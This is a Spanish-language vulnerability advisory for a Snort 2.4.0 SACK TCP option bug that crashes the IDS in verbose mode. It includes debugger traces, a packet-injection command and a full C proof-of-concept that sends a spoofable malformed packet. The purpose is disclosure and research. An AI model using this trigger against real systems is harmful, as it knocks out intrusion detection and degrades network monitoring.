Snort <= 2.4.0 SACK TCP Option Error Handling


Paquete: Snort 2.4.0 (Y versiones previas)
Url del paquete: http://www.snort.org
Clase: Error en el manejo de condiciones Excepcionales
Riesgo: Alto
Créditos: A. Alejandro Hernández Hernández
Contacto: nitrous[at]vulnfact[dot]com


INTRODUCCION
Snort es un Sistema de Detección de Intrusos de código abierto. Puede analizar el tráfico de una red en
tiempo real, alertar, bloquear y loguear el paquete en redes IP. Este utiliza un combinación de análisis
de protocolo y pattern matching para detectar anomalias, malos usos y ataques.


DESCRIPCION
Una vulnerabilidad encontrada en la función PrintTcpOptions() localizada en snort-2.4.0/src/log.c podría
permitir a un atacante crear un paquete TCP/IP malformado, enviarlo y generar un ataque de Denegación de
Servicio o totalmente matar al proceso (Snort) en un sistema remoto. Para testear esto, snort necesita estar
corriendo en modo verbose (bandera -v). Ver la sección de análisis para detalles técnicos.


VERSIONES VULNERABLES
Esta vulnerabilidad fué descubierta e investigada en los siguientes paquetes:
  • snort 2.4.0 @ OpenBSD 3.7 GENERIC
  • snort 2.4.0 @ Ubuntu Linux 5.04 "Hoary Hedgehog"
  • snort 2.3.2 @ Debian Linux 3.1 "Sarge"
  • snort 2.3.0 @ Ubuntu Linux 5.04 "Hoary Hedgehog"
  • snort 2.3.0 @ Red Hat Linux 9
  • snort 2.2.0 @ Ubuntu Linux 5.04 "Hoary Hedgehog"
  • snort 2.0.0 @ OpenBSD 3.5 GENERIC
  • Es posible que versiones previas también sean afectadas por esta vulnerabilidad.


    FECHAS DE PUBLICACION
    Fallo descubierto: 20/08/2005.
    Notificación: 22/08/2005.
    Respuesta: 23/08/2005.
    Publicación: 11/09/2005.


    ANALISIS
    Fuzzeando a snort 2.4.0 con fuzzball2, obtuve:
    
    =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
    
    08/21-11:22:18.674064 0:0:0:0:0:0 -> 0:0:0:0:0:0 type:0x800 len:0x36
    127.0.0.1:80 -> 127.0.0.1:29383 TCP TTL:64 TOS:0x0 ID:64 IpLen:20 DgmLen:40 DF
    ***A*R** Seq: 0x0  Ack: 0x4A2AC316  Win: 0x0  TcpLen: 20
    0x0000: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00  ..............E.
    0x0010: 00 28 00 40 40 00 40 06 3C 8E 7F 00 00 01 7F 00  .(.@@.@.<.......
    0x0020: 00 01 00 50 72 C7 00 00 00 00 4A 2A C3 16 50 14  ...Pr.....J*..P.
    0x0030: 00 00 31 76 00 00                                ..1v..
    
    =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
    
    08/21-11:22:18.676194 0:0:0:0:0:0 -> 0:0:0:0:0:0 type:0x800 len:0x3A
    127.0.0.1:29383 -> 127.0.0.1:80 TCP TTL:255 TOS:0x0 ID:48207 IpLen:20 DgmLen:44
    ******S* Seq: 0xCC1016F  Ack: 0x43F18422  Win: 0x16D0  TcpLen: 24
    TCP Options (2) => Violación de segmento
    
    El proceso recibe una señal SIGSEGV, ahora, necesito saber que número de paquete causa esto:
    
    root@blackb0x # snort -veX -i lo -q > DUMP.log
    Violación de segmento
    root@blackb0x # grep 127 DUMP.log | wc -l
    123
    
    Hasta este momento se que el paquete número 123 es el malicioso (podría cambiar)...
    Analizando con gdb:
    
    root@blackb0x # gdb -q snort
    Using host libthread_db library /lib/tls/i686/cmov/libthread_db.so.1".
    (gdb) r -veX -i lo
    Starting program: /usr/local/bin/snort -veX -i lo
    ...CORTADO...
    08/21-11:25:40.328775 0:0:0:0:0:0 -> 0:0:0:0:0:0 type:0x800 len:0x3A
    127.0.0.1:29383 -> 127.0.0.1:80 TCP TTL:255 TOS:0x0 ID:48207 IpLen:20 DgmLen:44
    ******S* Seq: 0xCC1016F  Ack: 0x43F18422  Win: 0x16D0  TcpLen: 24
    TCP Options (2) =>
    Program received signal SIGSEGV, Segmentation fault.
    0x0804fef2 in PrintTcpOptions (fp=0xb7f8f120, p=0xbffff360) at log.c:1543
    1543                    memcpy(tmp, p->tcp_options[i].data, 2);
    (gdb) print tmp
    $1 = "\000\000\000\000"
    (gdb) print p
    $2 = (Packet *) 0xbffff360
    (gdb) print i
    $3 = 0
    (gdb) print p->tcp_options[i]
    $4 = {code = 5 '\005', len = 0 '\0', data = 0x0}
    (gdb) print p->tcp_options[i].code
    $3 = 5 '\005'
    (gdb) x/4b p->tcp_options_data
    0x824edd0:      0x05    0x02    0x00    0x00
    
    El error está en la linea 1543 de log.c
    
    root@blackb0x:/home/nitrous/software/snort-2.4.0/src # cat -n log.c | grep -C 10 1543
      1533              case TCPOPT_NOP:
      1534                  fwrite("NOP ", 4, 1, fp);
      1535                  break;
      1536
      1537              case TCPOPT_WSCALE:
      1538                  fprintf(fp, "WS: %u ", p->tcp_options[i].data[0]);
      1539                  break;
      1540
      1541              case TCPOPT_SACK:
      1542                  bzero((char *) tmp, 5);
      1543                  memcpy(tmp, p->tcp_options[i].data, 2);
      1544                  fprintf(fp, "Sack: %u@", EXTRACT_16BITS(tmp));
      1545                  bzero((char *) tmp, 5);
      1546                  memcpy(tmp, (p->tcp_options[i].data) + 2, 2);
      1547                  fprintf(fp, "%u ", EXTRACT_16BITS(tmp));
      1548                  break;
      1549
      1550              case TCPOPT_SACKOK:
      1551                  fwrite("SackOK ", 7, 1, fp);
      1552                  break;
    
    Leyendo la salida de GDB encuentro que el valor de p->tcp_options[i].code es 5 (TCPOPT_SACK).
    
    Analizando el paquete completo con tcpdump:
    
    #tcpdump -i lo -eXX -c 123 | tail -5
    11:17:53.093264 ip: 127.0.0.1.29383 > 127.0.0.1.80: S 213975407:213975407(0) win 5840
     
     0000: 4500 002c bc4f 0000 ff06 017a 7f00 0001  E..,ŒO..ÿ..z....
     0010: 7f00 0001 72c7 0050 0cc1 016f 43f1 8422  ....rÇ.P.Á.oCñ."
     0020: 6002 16d0 3caf 0000 0502 0000            `..Ð<¯......
    
    Creo que los últimos 4 bytes son los maliciosos y creo mi propio paquete:
    
    root@blackb0x # printf "\x05\x02\x00\x00" > payload
    root@blackb0x # nemesis tcp -S 33.33.33.33 -D 127.0.0.1 -x 31337 -y 64876 -o ./payload
    TCP Packet Injected
    
    Y de nuevo obtengo:
    
    root@blackb0x # snort -veX -i lo -q
    08/21-11:54:34.449751 0:0:0:0:0:0 -> 0:0:0:0:0:0 type:0x800 len:0x3A
    33.33.33.33:31337 -> 127.0.0.1:64876 TCP TTL:255 TOS:0x0 ID:61316 IpLen:20 DgmLen:44
    ******S* Seq: 0x46FE88E2  Ack: 0x1494CF39  Win: 0x1000  TcpLen: 24
    TCP Options (2) => Violación de segmento
    
    Pero el fallo parece no afectar las configuraciones normales de IDS (sin -v activado):
    
    root@blackb0x # snort -c etc/snort.conf -D
    root@blackb0x # ps aux | grep snort
    root      9947  5.3 31.6  38616 34720 ?        Ss   11:24   0:00 snort -c etc/snort.conf -D
    root      9949  0.0  0.6   3384   760 pts/1    S+   11:24   0:00 grep snort
    root@blackb0x # ./snortrigger localhost
    -=[ Snort <= 2.4.0 Trigger p0c
    -=[ By nitr0us 
    
    -=[ Sending Malformed TCP/IP Packet...
    -=[ Sent 44 bytes to localhost
    -=[ Snort killed !
    root@blackb0x # ps aux | grep snort
    root      9947  1.9 31.6  38616 34736 ?        Ss   11:24   0:00 snort -c etc/snort.conf -D
    root      9952  0.0  0.6   3384   760 pts/2    S+   11:24   0:00 grep snort
    
    Ver abajo para el código de concepto.
    


    PRUEBA DEL CONCEPTO
    /*_------------------------------------------_
     ||------+ Snort <= 2.4.0 Trigger p0c +------||
     ||__________________________________________||
     ||--=[ nitrous [at] vulnfact [dot] com  ]=--||
     ||--=[      VulnFact Security Labs      ]=--||
     ||--=[           21 Ago 2oo5            ]=--||
     ||--=[              Mexico              ]=--||
     ||__________________________________________||
      -__________________________________________-
    
     Snort <= 2.4.0 SACK TCP Option Error Handling
     Este código envia al  especificado un paquete TCP/IP con 4 bytes extras
     correspondientes al campo TCP Options [TCP Header].
     Estos 4 bytes son "\x05\x02\x00\x00". NOTA !!!: Snort solamente cae cuando se
     esta corriendo en verbose mode (-v).
    
     Esto solo funciona testeando de una maquina a otra directamente conectadas
     (1 solo salto; Ej. En una red LAN de PC a PC). No funciona desde Internet, por
     que el campo TCP->th_sum es 0 (cero), por lo tanto, el primer Router por donde
     pase este paquete lo descartara por no tener una checksum valida.
    
     RFC #1072 - TCP Extensions for Long-Delay Paths
    
     3.2- TCP SACK Option:
          ...
          Kind: 5
          Length: Variable
          +--------+--------+--------+--------+--------+--------+
          | Kind=5 | Length | Relative Origin |   Block Size    |
          +--------+--------+--------+--------+--------+--------+
    
     Analizando el packete con 'tcpdump' en OpenBSD 3.5 vemos:
     11:17:53.093264 ip: 127.0.0.1.29383 > 127.0.0.1.80: S 213975407:213975407(0) win 5840
     <malformed sack [len 0] ,eol>
     0000: 4500 002c bc4f 0000 ff06 017a 7f00 0001  E..,ŒO..ÿ..z....
     0010: 7f00 0001 72c7 0050 0cc1 016f 43f1 8422  ....rÇ.P.Á.oCñ."
     0020: 6002 16d0 3caf 0000 0502 0000            `..Ð<¯......
    
     Testeado en:
     [+] snort 2.4.0 @ OpenBSD 3.7 GENERIC // Yeah ;)
     [+] snort 2.4.0 @ Ubuntu Linux 5.04 "Hoary Hedgehog"
     [+] snort 2.3.2 @ Debian Linux 3.1 "Sarge"
     [+] snort 2.3.0 @ Ubuntu Linux 5.04 "Hoary Hedgehog"
     [+] snort 2.3.0 @ Red Hat Linux 9
     [+] snort 2.2.0 @ Ubuntu Linux 5.04 "Hoary Hedgehog"
     [+] snort 2.0.0 @ OpenBSD 3.5 GENERIC
    
     Saludos a vulnfact.com, CRAc, stacked, ran, dex, benn, beck, zlotan, Rowter, Gus, Crypkey,
     protoloco, Falckon, dymitri, #cum ppl, warlord/nologin.org por fuzzball2 fuzzer, gcarrillog,
     JSS, y en especial a Mariit@ ( Sexy Colombiana ;) ). A la musica de "Sussie 4" ;)...
     Federico L. Bossi Bonin
    */
    
    #include<stdio.h>
    #include<string.h>
    #include<unistd.h>
    #include<errno.h>
    #include<netdb.h>
    #include<sys/types.h>
    #include<sys/socket.h>
    #include<netinet/in.h>
    //#define __USE_BSD	1	/* Use BSD's ip header style */
    #include<netinet/ip.h>
    #define __FAVOR_BSD	1	/* Use BSD's tcp header style */
    #include<netinet/tcp.h>
    
    #define IPSIZE	sizeof(struct ip)
    #define TCPSIZE	sizeof(struct tcphdr)
    #define DEFAULT_SRC_IP	"200.31.33.70"
    
    char trigger[] = "\x05\x02\x00\x00"; /* Malformed SACK TCP Option */
    
    int usage(char *name)
    {
    	fprintf(stderr, "Usage: %s <target> [spoofed srcip]\n", name);
    	fprintf(stderr, "\t\tDefault srcip = %s\n", DEFAULT_SRC_IP);
    
    	return 0;
    }
    
    int main(int argc, char **argv)
    {
    	char *packet= (char *) malloc(IPSIZE + TCPSIZE + 4);
    	char *srcip = DEFAULT_SRC_IP;
    	int sockfd, count;
    	int one = 1; /* setsockopt() */
    	struct sockaddr_in target;
    	struct hostent *host2ip;
    	struct ip *IP = (struct ip *) packet;
    	struct tcphdr *TCP = (struct tcphdr *) (packet + IPSIZE);
    
    	if(argc < 2)
    		return(usage(*argv));
    
    	if(argc == 3)
    		srcip = argv[2];
    
    	if((host2ip = gethostbyname(argv[1])) == NULL){
    		perror("gethostbyname");
    		exit(-1);
    	}
    
    	if(getuid() != 0){
    		fprintf(stderr, "Ups!, must be r00t to perform RAW sockets\n");
    		exit(-1);
    	}
    
    	memset(packet, 0x00, sizeof(packet));
    
    	memset(&target, 0x00, sizeof(target));
    	target.sin_family	= AF_INET;
    	target.sin_port		= htons(64876);
    	target.sin_addr		= *((struct in_addr *)host2ip->h_addr);
    
    	/*** BUILDING MALFORMED PACKET ***/
    	IP->ip_hl	= 0x05;
    	IP->ip_v	= 0x04;
    	IP->ip_tos	= 0x00;
    	IP->ip_len	= IPSIZE + TCPSIZE + 4;
    	IP->ip_id	= 0x00;
    	IP->ip_off	= 0x00;
    	IP->ip_ttl	= 0xff;
    	IP->ip_p	= IPPROTO_TCP;
    	IP->ip_sum	= 0x00;
    	IP->ip_src.s_addr = inet_addr(srcip);
    	IP->ip_dst.s_addr = target.sin_addr.s_addr;
    
    	TCP->th_sport	= htons(31337);
    	TCP->th_dport	= target.sin_port;
    	TCP->th_seq	= 0x00;
    	TCP->th_ack	= 0x00;
    	TCP->th_x2	= 0x00;
    	TCP->th_off	= 0x06;
    	TCP->th_flags	= 0x00;	/* NO Syn ;) */
    	TCP->th_win	= htons(0xffff);
    	TCP->th_sum	= 0x00;
    	TCP->th_urp	= 0x00;
    
    	memcpy(packet + IPSIZE + TCPSIZE, trigger, 4);
    	/*** END ***/
    
    	if((sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_TCP)) == -1){
    		perror("socket");
    		exit(-1);
    	}
    
    	if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) == -1){
    		perror("setsockopt");
    		exit(-1);
    	}
    
    	printf("-=[ Snort <= 2.4.0 Trigger p0c\n");
    	printf("-=[ By nitr0us <nitrous[at]vulnfact[dot]com>\n\n");
    	printf("-=[ Sending Malformed TCP/IP Packet...\n");
    
    	if((count = sendto(sockfd, packet, IP->ip_len, 0, (struct sockaddr *)&target, sizeof(target))) == -1){
    		perror("sendto");
    		close(sockfd);
    		exit(-1);
    	}
    
    	printf("-=[ Sent %d bytes to %s\n", count, argv[1]);
    	printf("-=[ Snort killed !\n");
    
    	close(sockfd);
    	return 0;
    }
    


    RESPUESTA
    Aún trabajando para lanzar la versión 2.4.1 de Snort.


    LINKS RELACIONADOS
    Este documento
    http://www.vulnfact.com/advisories/snort_adv.html

    Código del concepto
    http://www.vulnfact.com/exploits/snortrigger.c

    Fuzzball2 TCP/IP Options Fuzzer
    http://www.nologin.org/main.pl?action=codeView&codeId=54&

    RFC #1072 - TCP Extensions for Long-Delay Paths
    ftp://ftp.rfc-editor.org/in-notes/rfc1072.txt

    TCP Option Numbers
    http://www.iana.org/assignments/tcp-parameters